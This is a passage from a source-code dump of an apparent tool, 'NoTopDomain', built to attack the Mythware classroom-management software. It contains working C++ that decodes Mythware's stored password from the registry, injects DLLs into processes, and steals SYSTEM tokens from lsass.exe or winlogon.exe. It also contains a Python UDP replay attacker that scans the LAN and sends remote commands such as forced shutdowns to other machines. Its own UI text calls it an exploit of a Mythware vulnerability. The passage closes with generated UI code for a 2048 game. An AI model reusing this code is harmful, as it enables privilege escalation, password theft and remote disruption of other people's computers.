!= ERROR_SUCCESS) return; 55 | f=0; 56 | RegCloseKey(retKey); 57 | } 58 | else RegCloseKey(retKey); 59 | for (int i = 0; i < int(nSize); i += 4) { 60 | retKeyVal[i + 0] = (retKeyVal[i + 0] ^ 0x50 ^ 0x45); 61 | retKeyVal[i + 1] = (retKeyVal[i + 1] ^ 0x43 ^ 0x4c); 62 | retKeyVal[i + 2] = (retKeyVal[i + 2] ^ 0x4c ^ 0x43); 63 | retKeyVal[i + 3] = (retKeyVal[i + 3] ^ 0x45 ^ 0x50); 64 | } 65 | int sum = 0; 66 | for (int i = 1; i <=int(nSize); i += 1) { 67 | if (retKeyVal[i + 1] == 0) { 68 | str[sum] = retKeyVal[i]; 69 | sum++; 70 | if (retKeyVal[i] == 0) break; 71 | } 72 | } 73 | str[sum]='\0'; 74 | char* s=getenv("temp"); 75 | strcat(s,"\\NTDPwd.key"); 76 | freopen(s,"w",stdout); 77 | puts(str); 78 | freopen("CON", "w", stdout); 79 | return; 80 | } 81 | int StartMythware(LPWSTR location){ 82 | HWND hwnd = FindWindow("Shell_TrayWnd", NULL); 83 | if(!hwnd) return 2; 84 | DWORD pid; 85 | GetWindowThreadProcessId(hwnd, &pid); 86 | HANDLE handle = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid); 87 | HANDLE token; 88 | OpenProcessToken(handle, TOKEN_DUPLICATE, &token); 89 | DuplicateTokenEx(token, MAXIMUM_ALLOWED, NULL, SecurityIdentification, TokenPrimary, &token); 90 | CloseHandle(handle); 91 | STARTUPINFOW si; 92 | PROCESS_INFORMATION pi; 93 | ZeroMemory(&si, sizeof(STARTUPINFOW)); 94 | si.cb = sizeof(STARTUPINFOW); 95 | si.lpDesktop = (wchar_t*)L"winsta0\\default"; 96 | auto res=CreateProcessWithTokenW(token, LOGON_NETCREDENTIALS_ONLY, NULL, location, NORMAL_PRIORITY_CLASS | CREATE_NEW_PROCESS_GROUP, NULL, NULL, &si, &pi); 97 | CloseHandle(token); 98 | if(!res) return 1; 99 | else return 0; 100 | } 101 | bool KillProcessByThread(int pid){ 102 | HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, pid); 103 | if (hSnapshot != INVALID_HANDLE_VALUE) { 104 | bool rtn = true; 105 | THREADENTRY32 te = {sizeof(te)}; 106 | BOOL fOk = Thread32First(hSnapshot, &te); 107 | for (; fOk; fOk = Thread32Next(hSnapshot, &te)) { 108 | if (te.th32OwnerProcessID == pid) { 109 | HANDLE hThread = OpenThread(THREAD_TERMINATE, FALSE, te.th32ThreadID); 110 | if (!TerminateThread(hThread, 0)) rtn = false; 111 | CloseHandle(hThread); 112 | } 113 | } 114 | CloseHandle(hSnapshot); 115 | return rtn; 116 | } 117 | return false; 118 | } 119 | void InjectDLL(DWORD dwId,LPCSTR path){ 120 | printf("%s\n",path); 121 | HANDLE mProcess=OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwId); 122 | LPTHREAD_START_ROUTINE fun =(LPTHREAD_START_ROUTINE)LoadLibraryA; 123 | SIZE_T pathSize=strlen(path)+1; 124 | LPVOID mBuffer=VirtualAllocEx(mProcess, NULL, pathSize, MEM_COMMIT, PAGE_READWRITE); 125 | WriteProcessMemory(mProcess, mBuffer, path, pathSize, NULL); 126 | CreateRemoteThread(mProcess, NULL, 0, fun, mBuffer, 0, NULL); 127 | return; 128 | } 129 | int main(){ 130 | // CallDLLInject(114,2); 131 | // StartMythware(L"explorer.exe"); 132 | // GetMythwarePasswordFromRegedit(); 133 | return 0; 134 | } -------------------------------------------------------------------------------- /libs/NTDUIALoader.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | using namespace std; 6 | LPWSTR* CharToLPWSTR(const char* pChar){ 7 | LPWSTR *pLPWSTR = nullptr; 8 | int nLen = strlen(pChar) + 1; 9 | pLPWSTR = new LPWSTR[nLen]; 10 | MultiByteToWideChar(CP_ACP, 0, pChar, nLen, (LPWSTR)pLPWSTR , nLen); 11 | return pLPWSTR ; 12 | } 13 | 14 | int main(){ 15 | HANDLE hToken; 16 | LUID Luid; 17 | TOKEN_PRIVILEGES tp; 18 | if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))return FALSE; 19 | if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Luid)) { 20 | CloseHandle(hToken); 21 | return FALSE; 22 | } 23 | tp.PrivilegeCount = 1; 24 | tp.Privileges[0].Luid = Luid; 25 | tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 26 | AdjustTokenPrivileges(hToken, false, &tp, sizeof(tp), NULL, NULL); 27 | CloseHandle(hToken); 28 | char *s=GetCommandLine(),*run=getenv("temp"),runs[1145]; 29 | if(s[strlen(s)-1]=='S'){ 30 | HWND hwnd = FindWindow("Shell_TrayWnd", NULL); 31 | DWORD pid; 32 | GetWindowThreadProcessId(hwnd, &pid); 33 | HANDLE handle = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid); 34 | HANDLE token; 35 | OpenProcessToken(handle, TOKEN_DUPLICATE, &token); 36 | DuplicateTokenEx(token, MAXIMUM_ALLOWED, NULL, SecurityIdentification, TokenPrimary, &token); 37 | CloseHandle(handle); 38 | BOOL fUIAccess = TRUE; 39 | SetTokenInformation(token, TokenUIAccess, &fUIAccess, sizeof (fUIAccess)); 40 | STARTUPINFOW si; 41 | PROCESS_INFORMATION pi; 42 | ZeroMemory(&si, sizeof(STARTUPINFOW)); 43 | si.cb = sizeof(STARTUPINFOW); 44 | si.lpDesktop = L"winsta0\\default"; 45 | strcat(run,"\\NTDUIATemp.tmp"); 46 | freopen(run,"r",stdin); 47 | fgets(runs,99999,stdin); 48 | strcat(runs," --uac"); 49 | CreateProcessWithTokenW(token, LOGON_NETCREDENTIALS_ONLY, NULL, (LPWSTR)CharToLPWSTR(runs), NORMAL_PRIORITY_CLASS | CREATE_NEW_PROCESS_GROUP, NULL, NULL, &si, &pi); 50 | CloseHandle(token); 51 | VirtualAllocEx 52 | return 0; 53 | } 54 | DWORD idL, idW; 55 | PROCESSENTRY32 pe; 56 | pe.dwSize = sizeof(PROCESSENTRY32); 57 | HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 58 | if (Process32First(hSnapshot, &pe)) { 59 | do { 60 | if (0 == _stricmp(pe.szExeFile, "lsass.exe")) { 61 | idL = pe.th32ProcessID; 62 | }else if (0 == _stricmp(pe.szExeFile, "winlogon.exe")) { 63 | idW = pe.th32ProcessID; 64 | } 65 | } while (Process32Next(hSnapshot, &pe)); 66 | } 67 | CloseHandle(hSnapshot); 68 | HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, idL); 69 | if(!hProcess)hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, idW); 70 | HANDLE hTokenx; 71 | OpenProcessToken(hProcess, TOKEN_DUPLICATE, &hTokenx); 72 | DuplicateTokenEx(hTokenx, MAXIMUM_ALLOWED, NULL, SecurityIdentification, TokenPrimary, &hToken); 73 | CloseHandle(hProcess); 74 | CloseHandle(hTokenx); 75 | STARTUPINFOW si; 76 | PROCESS_INFORMATION pi; 77 | ZeroMemory(&si, sizeof(STARTUPINFOW)); 78 | si.cb = sizeof(STARTUPINFOW); 79 | si.lpDesktop = L"winsta0\\default"; 80 | CreateProcessWithTokenW(hToken, LOGON_NETCREDENTIALS_ONLY, NULL, lstrcatW(GetCommandLineW(),L" S"), NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi); 81 | CloseHandle(hToken); 82 | return 0; 83 | } -------------------------------------------------------------------------------- /libs/UDPAttack.py: -------------------------------------------------------------------------------- 1 | from PyQt5.QtCore import * 2 | from PyQt5.QtWidgets import * 3 | from PyQt5.QtGui import * 4 | from ctypes import * 5 | from threading import * 6 | from win32gui import * 7 | from win32con import * 8 | from . import Ui_UDPAttack, attackCore 9 | # import attackCore,Ui_UDPAttack 10 | import sys,socket 11 | import datetime 12 | import subprocess 13 | class UDPAttack(QWidget,Ui_UDPAttack.Ui_UDPAttacker): 14 | st=pyqtSignal(str) 15 | def __init__(self): 16 | super().__init__() 17 | self.setupUi(self) 18 | self.retranslateUi(self) 19 | self.setup() 20 | windll.user32.SetWindowDisplayAffinity(int(self.winId()),0x11) 21 | # def setzd(self): 22 | # if self.checkBox.isChecked(): 23 | # SetWindowPos(self.winId(),HWND_TOPMOST,0,0,0,0,SWP_NOMOVE|SWP_NOSIZE) 24 | # else: 25 | # SetWindowPos(self.winId(),HWND_NOTOPMOST,0,0,0,0,SWP_NOMOVE|SWP_NOSIZE) 26 | def showE(self): 27 | # MessageBox(0,"因不可抗原因,该功能已被移除","NoTopDomain 提示",MB_ICONERROR) 28 | # return 29 | if self.isMinimized(): 30 | self.setWindowState(Qt.WindowNoState) 31 | windll.user32.SetWindowDisplayAffinity(int(self.winId()),0) 32 | windll.user32.SetWindowDisplayAffinity(int(self.winId()),0x11) 33 | self.show() 34 | self.setzd() 35 | def scanIP(self): 36 | self.st.emit("[%s]开始扫描局域网IP"%datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')) 37 | ip=".".join(socket.gethostbyname(socket.gethostname()).split(".")[:-1]) 38 | cnt=0 39 | for i in range(0,256): 40 | if not subprocess.run("ping %s.%d -n1 1 -w 10"%(ip,i),shell=True,stdout=subprocess.PIPE).returncode: 41 | self.st.emit("[%s]\n获取到IP: %s, 主机名: %s"%(datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S'),ip+"."+str(i),socket.getfqdn(ip+"."+str(i)))) 42 | if not self.running: break 43 | cnt+=1 44 | #172.20.234.252;172.30.234.1;172.30.234.4;172.30.234.9;172.30.234.252;172.30.234.35;172.30.234.88;172.30.234.92;172.30.234.100;172.30.234.110;172.30.234.111;172.30.234.113;172.30.234.116;172.30.234.121;172.30.234.132;172.30.234.141;172.30.234.155;172.30.234.171;172.30.234.191;172.30.234.192;172.30.234.199;172.30.234.201;172.30.234.202;172.30.234.208;172.30.234.209;172.30.234.211;172.30.234.212;172.30.234.213;172.30.234.214;172.30.234.215;172.30.234.216;172.30.234.217;172.30.234.218;172.30.234.219;172.30.234.220;172.30.234.221;172.30.234.222;172.30.234.223;172.30.234.224;172.30.234.225;172.30.234.226;172.30.234.227;172.30.234.228;172.30.234.229;172.30.234.230;172.30.234.231;172.30.234.232;172.30.234.233;172.30.234.234;172.30.234.235;172.30.234.236;172.30.234.237;172.30.234.238;172.30.234.239;172.30.234.240;172.30.234.245;172.30.234.247;172.30.234.249;172.30.234.251;172.30.234.252;172.30.234.253 45 | self.st.emit("[%s]扫描完毕,共获取到 %d 个 IP"%(datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S'),cnt)) 46 | self.running=0 47 | self.pushButton_4.setText("扫描IP") 48 | def closeEvent(self,event): 49 | self.running=0 50 | def sendMessage(self): 51 | if self.textEdit.toPlainText(): 52 | try: 53 | for ip in self.textEdit.toPlainText().split(";"): 54 | ip=ip.strip() 55 | if not ip: continue 56 | sendList=[] 57 | if self.plainTextEdit.toPlainText(): 58 | sendList.append(attackCore.pkg_sendlist("-msg",self.plainTextEdit.toPlainText().strip().replace("\n"," ")+" "*self.maxl)) 59 | self.maxl=max(self.maxl,len(self.textEdit_2.toPlainText())) 60 | if self.textEdit_2.toPlainText(): 61 | sendList.append(attackCore.pkg_sendlist("-c",self.textEdit_2.toPlainText().strip().replace("\n","&")+" "*self.maxl)) 62 | self.maxl=max(self.maxl,len(self.textEdit_2.toPlainText())) 63 | attackCore.send(sendList,ip,l=self.spinBox_3.value(),t=self.spinBox.value(),p=self.spinBox_2.value()) 64 | except: pass 65 | else: self.st.emit("[%s]请输入ip"%datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')) 66 | def shutdown(self): 67 | if self.textEdit.toPlainText(): 68 | try: 69 | for ip in self.textEdit.toPlainText().split(";"): 70 | if not ip: continue 71 | attackCore.send([attackCore.pkg_sendlist("-c","shutdown -s -t 0"+" "*self.maxl)],ip) 72 | self.maxl=max(self.maxl,len("shutdown -s -t 0")) 73 | except: pass 74 | else: self.textBrowser.append("[%s]请输入ip"%datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')) 75 | def reboot(self): 76 | if self.textEdit.toPlainText(): 77 | try: 78 | for ip in self.textEdit.toPlainText().split(";"): 79 | if not ip: continue 80 | attackCore.send([attackCore.pkg_sendlist("-c","shutdown -r -t 0"+" "*self.maxl)],ip) 81 | self.maxl=max(self.maxl,len("shutdown -s -t 0")) 82 | except: pass 83 | self.textBrowser.append("[%s]请输入ip"%datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')) 84 | def scanIIp(self): 85 | if not self.running: 86 | self.running=1 87 | self.scanThread=Thread(target=self.scanIP) 88 | self.scanThread.start() 89 | self.pushButton_4.setText("停止扫描") 90 | else: 91 | self.running=0 92 | self.pushButton_4.setText("扫描IP") 93 | def setup(self): 94 | self.running=0 95 | self.maxl=0 96 | attackCore.tt=self.st 97 | self.st.connect(lambda x:self.textBrowser.append(x)) 98 | self.spinBox.wheelEvent=lambda x:None 99 | self.spinBox_2.wheelEvent=lambda x:None 100 | self.spinBox_3.wheelEvent=lambda x:None 101 | # self.checkBox.clicked.connect(self.setzd) 102 | self.pushButton_4.clicked.connect(self.scanIIp) 103 | self.pushButton.clicked.connect(lambda:Thread(target=self.sendMessage).start()) 104 | self.pushButton_2.clicked.connect(self.shutdown) 105 | self.pushButton_3.clicked.connect(self.reboot) 106 | if __name__=="__main__": 107 | app=QApplication(sys.argv) 108 | window=UDPAttack() 109 | window.showE() 110 | sys.exit(app.exec_()) -------------------------------------------------------------------------------- /libs/UDPAttack.ui: -------------------------------------------------------------------------------- 1 | 2 | 3 | UDPAttacker 4 | 5 | 6 | 7 | 0 8 | 0 9 | 776 10 | 600 11 | 12 | 13 | 14 | 15 | 16777215 16 | 16777215 17 | 18 | 19 | 20 | 21 | Microsoft YaHei 22 | 23 | 24 | 25 | 极域UDP重放攻击 by ht0Ruial&&modify in NTD 26 | 27 | 28 | 29 | 0 30 | 31 | 32 | 0 33 | 34 | 35 | 0 36 | 37 | 38 | 0 39 | 40 | 41 | 7 42 | 43 | 44 | 45 | 46 | 47 | 0 48 | 0 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | Microsoft YaHei UI 60 | 14 61 | 75 62 | true 63 | 64 | 65 | 66 | 极域UDP重放攻击 by NoTopDomain 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 22 81 | 82 | 83 | 22 84 | 85 | 86 | 22 87 | 88 | 89 | 22 90 | 91 | 92 | 93 | 94 | 发送(&S) 95 | 96 | 97 | 98 | 99 | 100 | 101 | 扫描IP 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 0 110 | 0 111 | 112 | 113 | 114 | 115 | 16777215 116 | 16777215 117 | 118 | 119 | 120 | QTextEdit::WidgetWidth 121 | 122 | 123 | 日志 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 0 134 | 0 135 | 136 | 137 | 138 | 139 | 16777215 140 | 16777215 141 | 142 | 143 | 144 | <html><head/><body><p>警告:此工具利用极域漏洞进行攻击,如使用此工具导致的任何问题作者不承担任何责任!(PS:极域有10秒左右的消息CD,这期间发送消息无效)<br/>注意:为防误触,请按 Alt+S 发送而不是回车<br/><span style=" color:#808080;">by ht0Ruial&amp;&amp;modify in NTD</span></p></body></html> 145 | 146 | 147 | true 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 22 162 | 163 | 164 | 22 165 | 166 | 167 | 22 168 | 169 | 170 | 22 171 | 172 | 173 | 174 | 175 | 等待时间 176 | 177 | 178 | 179 | 180 | 181 | 182 | 183 | 0 184 | 0 185 | 186 | 187 | 188 | 189 | 16777215 190 | 1677215 191 | 192 | 193 | 194 | 运行命令(CMD),留空则不发送 195 | 196 | 197 | 198 | 199 | 200 | 201 | 40 202 | 203 | 204 | 65535 205 | 206 | 207 | 4705 208 | 209 | 210 | 211 | 212 | 213 | 214 | 循环次数 215 | 216 | 217 | 218 | 219 | 220 | 221 | 222 | 223 | 1 224 | 225 | 226 | 1145141919 227 | 228 | 229 | 230 | 231 | 232 | 233 | 234 | 0 235 | 0 236 | 237 | 238 | 239 | 240 | 241 | 242 | 243 | 244 | 245 | 246 | 247 | 248 | 对方端口(默认4705,不用改) 249 | 250 | 251 | true 252 | 253 | 254 | 255 | 256 | 257 | 258 | 259 | 0 260 | 0 261 | 262 | 263 | 264 | 265 | 16777215 266 | 1677215 267 | 268 | 269 | 270 | 发送消息内容,留空则不发送 271 | 272 | 273 | 274 | 275 | 276 | 277 | 278 | 0 279 | 0 280 | 281 | 282 | 283 | 284 | 16777215 285 | 16777214 286 | 287 | 288 | 289 | 对方IP(可以使用英文分号隔开) 290 | 291 | 292 | 293 | 294 | 295 | 296 | true 297 | 298 | 299 | 300 | 0 301 | 0 302 | 303 | 304 | 305 | 对方关机 306 | 307 | 308 | 309 | 310 | 311 | 312 | 1 313 | 314 | 315 | 114 316 | 317 | 318 | 319 | 320 | 321 | 322 | true 323 | 324 | 325 | 对方重启 326 | 327 | 328 | 329 | 330 | 331 | 332 | 333 | 334 | 335 | 336 | 337 | -------------------------------------------------------------------------------- /libs/Ui_Moyu.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # Form implementation generated from reading ui file 'f:\Phigros\NoTopDomain\libs\Moyu.ui' 4 | # 5 | # Created by: PyQt5 UI code generator 5.15.9 6 | # 7 | # WARNING: Any manual changes made to this file will be lost when pyuic5 is 8 | # run again. Do not edit this file unless you know what you are doing. 9 | 10 | 11 | from PyQt5 import QtCore, QtGui, QtWidgets 12 | 13 | 14 | class Ui_Moyu2048(object): 15 | def setupUi(self, Moyu2048): 16 | Moyu2048.setObjectName("Moyu2048") 17 | Moyu2048.resize(612, 512) 18 | sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) 19 | sizePolicy.setHorizontalStretch(0) 20 | sizePolicy.setVerticalStretch(0) 21 | sizePolicy.setHeightForWidth(Moyu2048.sizePolicy().hasHeightForWidth()) 22 | Moyu2048.setSizePolicy(sizePolicy) 23 | font = QtGui.QFont() 24 | font.setFamily("Microsoft YaHei") 25 | Moyu2048.setFont(font) 26 | self.gridLayout = QtWidgets.QGridLayout(Moyu2048) 27 | self.gridLayout.setContentsMargins(0, 0, 0, 0) 28 | self.gridLayout.setSpacing(11) 29 | self.gridLayout.setObjectName("gridLayout") 30 | self.horizontalLayout_2 = QtWidgets.QHBoxLayout() 31 | self.horizontalLayout_2.setContentsMargins(0, -1, 0, -1) 32 | self.horizontalLayout_2.setObjectName("horizontalLayout_2") 33 | self.widget = QtWidgets.QGroupBox(Moyu2048) 34 | sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) 35 | sizePolicy.setHorizontalStretch(0) 36 | sizePolicy.setVerticalStretch(0) 37 | sizePolicy.setHeightForWidth(self.widget.sizePolicy().hasHeightForWidth()) 38 | self.widget.setSizePolicy(sizePolicy) 39 | self.widget.setMinimumSize(QtCore.QSize(0, 0)) 40 | self.widget.setMaximumSize(QtCore.QSize(16777215, 16777215)) 41 | self.widget.setSizeIncrement(QtCore.QSize(0, 0)) 42 | font = QtGui.QFont() 43 | font.setFamily("Microsoft YaHei UI") 44 | font.setPointSize(18) 45 | font.setBold(False) 46 | font.setWeight(50) 47 | self.widget.setFont(font) 48 | self.widget.setObjectName("widget") 49 | self.gridLayout_2 = QtWidgets.QGridLayout(self.widget) 50 | self.gridLayout_2.setContentsMargins(15, 15, 15, 15) 51 | self.gridLayout_2.setSpacing(7) 52 | self.gridLayout_2.setObjectName("gridLayout_2") 53 | self.b3_1 = QtWidgets.QPushButton(self.widget) 54 | self.b3_1.setEnabled(False) 55 | sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) 56 | sizePolicy.setHorizontalStretch(0) 57 | sizePolicy.setVerticalStretch(0) 58 | sizePolicy.setHeightForWidth(self.b3_1.sizePolicy().hasHeightForWidth()) 59 | self.b3_1.setSizePolicy(sizePolicy) 60 | self.b3_1.setText("") 61 | self.b3_1.setObjectName("b3_1") 62 | self.gridLayout_2.addWidget(self.b3_1, 2, 0, 1, 1) 63 | self.b2_1 = QtWidgets.QPushButton(self.widget) 64 | self.b2_1.setEnabled(False) 65 | sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) 66 | sizePolicy.setHorizontalStretch(0) 67 | sizePolicy.setVerticalStretch(0) 68 | sizePolicy.setHeightForWidth(self.b2_1.sizePolicy().hasHeightForWidth()) 69 | self.b2_1.setSizePolicy(sizePolicy) 70 | self.b2_1.setText("") 71 | self.b2_1.setObjectName("b2_1") 72 | self.gridLayout_2.addWidget(self.b2_1, 1, 0, 1, 1) 73 | self.b4_1 = QtWidgets.QPushButton(self.widget) 74 | self.b4_1.setEnabled(False) 75 | sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) 76 | sizePolicy.setHorizontalStretch(0) 77 | sizePolicy.setVerticalStretch(0) 78 | sizePolicy.setHeightForWidth(self.b4_1.sizePolicy().hasHeightForWidth()) 79 | self.b4_1.setSizePolicy(sizePolicy) 80 | self.b4_1.setText("") 81 | self.b4_1.setObjectName("b4_1") 82 | self.gridLayout_2.addWidget(self.b4_1, 3, 0, 1, 1) 83 | self.b2_3 = QtWidgets.QPushButton(self.widget) 84 | self.b2_3.setEnabled(False) 85 | sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) 86 | sizePolicy.setHorizontalStretch(0) 87 | sizePolicy.setVerticalStretch(0) 88 | sizePolicy.setHeightForWidth(self.b2_3.sizePolicy().hasHeightForWidth()) 89 | self.b2_3.setSizePolicy(sizePolicy) 90 | self.b2_3.setText("") 91 | self.b2_3.setObjectName("b2_3") 92 | self.gridLayout_2.addWidget(self.b2_3, 1, 2, 1, 1) 93 | self.b4_2 = QtWidgets.QPushButton(self.widget) 94 | self.b4_2.setEnabled(False) 95 | sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) 96 | sizePolicy.setHorizontalStretch(0) 97 | sizePolicy.setVerticalStretch(0) 98 | sizePolicy.setHeightForWidth(self.b4_2.sizePolicy().hasHeightForWidth()) 99 | self.b4_2.setSizePolicy(sizePolicy) 100 | self.b4_2.setText("") 101 | self.b4_2.setObjectName("b4_2") 102 | self.gridLayout_2.addWidget(self.b4_2, 3, 1, 1, 1) 103 | self.b1_3 = QtWidgets.QPushButton(self.widget) 104 | self.b1_3.setEnabled(False) 105 | sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) 106 | sizePolicy.setHorizontalStretch(0) 107 | sizePolicy.setVerticalStretch(0) 108 | sizePolicy.setHeightForWidth(self.b1_3.sizePolicy().hasHeightForWidth()) 109 | self.b1_3.setSizePolicy(sizePolicy) 110 | self.b1_3.setText("") 111 | self.b1_3.setObjectName("b1_3") 112 | self.gridLayout_2.addWidget(self.b1_3, 0, 2, 1, 1) 113 | self.b2_4 = QtWidgets.QPushButton(self.widget) 114 | self.b2_4.setEnabled(False) 115 | sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) 116 | sizePolicy.setHorizontalStretch(0) 117 | sizePolicy.setVerticalStretch(0) 118 | sizePolicy.setHeightForWidth(self.b2_4.sizePolicy().hasHeightForWidth()) 119 | self.b2_4.setSizePolicy(sizePolicy) 120 | self.b2_4.setText("") 121 | self.b2_4.setObjectName("b2_4") 122 | self.gridLayout_2.addWidget(self.b2_4, 1, 3, 1, 1) 123 | self.b1_4 = QtWidgets.QPushButton(self.widget) 124 | self.b1_4.setEnabled(False) 125 | sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) 126 | sizePolicy.setHorizontalStretch(0) 127 | sizePolicy.setVerticalStretch(0) 128 | sizePolicy.setHeightForWidth(self.b1_4.sizePolicy().hasHeightForWidth()) 129 | self.b1_4.setSizePolicy(sizePolicy) 130 | self.b1_4.setText("") 131 | self.b1_4.setObjectName("b1_4") 132 | self.gridLayout_2.addWidget(self.b1_4, 0, 3, 1, 1) 133 | self.b4_3 = QtWidgets.QPushButton(self.widget) 134 | self.b4_3.setEnabled(False) 135 | sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) 136 | sizePolicy.setHorizontalStretch(0) 137 | sizePolicy.setVerticalStretch(0) 138 | sizePolicy.setHeightForWidth(self.b4_3.sizePolicy().hasHeightForWidth()) 139 | self.b4_3.setSizePolicy(sizePolicy) 140 | self.b4_3.setText("") 141 | self.b4_3.setObjectName("b4_3") 142 | self.gridLayout_2.addWidget(self.b4_3, 3, 2, 1, 1) 143 | self.b3_2 = QtWidgets.QPushButton(self.widget) 144 | self.b3_2.setEnabled(False) 145 | sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) 146 | sizePolicy.setHorizontalStretch(0) 147 | sizePolicy.setVerticalStretch(0) 148 | sizePolicy.setHeightForWidth(self.b3_2.sizePolicy().hasHeightForWidth()) 149 | self.b3_2.setSizePolicy(sizePolicy) 150 | self.b3_2.setText("") 151 | self.b3_2.setObjectName("b3_2") 152 | self.gridLayout_2.addWidget(self.b3_2, 2, 1, 1, 1) 153 | self.b1_1 = QtWidgets.QPushButton(self.widget) 154 | self.b1_1.setEnabled(False) 155 | sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) 156 | sizePolicy.setHorizontalStretch(0) 157 | sizePolicy.setVerticalStretch(0) 158 | sizePolicy.setHeightForWidth(self.b1_1.sizePolicy().hasHeightForWidth()) 159 | self.b1_1.setSizePolicy(sizePolicy) 160 | self.b1_1.setText("") 161 | self.b1_1.setObjectName("b1_1") 162 | self.gridLayout_2.addWidget(self.b1_1, 0, 0, 1, 1) 163 | self.b1_2 = QtWidgets.QPushButton(self.widget) 164 | self.b1_2.setEnabled(False) 165 | sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) 166 | sizePolicy.setHorizontalStretch(0) 167 | sizePolicy.setVerticalStretch(0) 168 | sizePolicy.setHeightForWidth(self.b1_2.sizePolicy().hasHeightForWidth()) 169 | self.b1_2.setSizePolicy(sizePolicy) 170 | self.b1_2.setText("") 171 | self.b1_2.setObjectName("b1_2") 172 | self.gridLayout_2.addWidget(self.b1_2, 0, 1, 1, 1) 173 | self.b3_3 = QtWidgets.QPushButton(self.widget) 174 | self.b3_3.setEnabled(False) 175 | sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) 176 | sizePolicy.setHorizontalStretch(0) 177 | sizePolicy.setVerticalStretch(0) 178 | sizePolicy.setHeightForWidth(self.b3_3.sizePolicy().hasHeightForWidth()) 179 | self.b3_3.setSizePolicy(sizePolicy) 180 | self.b3_3.setText("") 181 | self.b3_3.setObjectName("b3_3") 182 | self.gridLayout_2.addWidget(self.b3_3, 2, 2, 1, 1) 183 | self.b4_4 = QtWidgets.QPushButton(self.widget) 184 | self.b4_4.setEnabled(False) 185 | sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) 186 | sizePolicy.setHorizontalStretch(0) 187 | sizePolicy.setVerticalStretch(0) 188 | sizePolicy.setHeightForWidth(self.b4_4.sizePolicy().hasHeightForWidth()) 189 | self.b4_4.setSizePolicy(sizePolicy) 190 | self.b4_4.setText("") 191 | self.b4_4.setObjectName("b4_4") 192 | self.gridLayout_2.addWidget(self.b4_4, 3, 3, 1, 1) 193 | self.b2_2 = QtWidgets.QPushButton(self.widget) 194 | self.b2_2.setEnabled(False) 195 | sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) 196 | sizePolicy.setHorizontalStretch(0) 197 | sizePolicy.setVerticalStretch(0) 198 | sizePolicy.setHeightForWidth(self.b2_2.sizePolicy().hasHeightForWidth()) 199 | self.b2_2.setSizePolicy(sizePolicy) 200 | self.b2_2.setText("") 201 | self.b2_2.setObjectName("b2_2") 202 | self.gridLayout_2.addWidget(self.b2_2, 1, 1, 1, 1) 203 | self.b3_4 = QtWidgets.QPushButton(self.widget) 204 | self.b3_4.setEnabled(False) 205 | sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) 206 | sizePolicy.setHorizontalStretch(0) 207 | sizePolicy.setVerticalStretch(0) 208 | sizePolicy.setHeightForWidth(self.b3_4.sizePolicy().hasHeightForWidth()) 209 | self.b3_4.setSizePolicy(sizePolicy) 210 | self.b3_4.setText("") 211 | self.b3_4.setObjectName("b3_4") 212 | 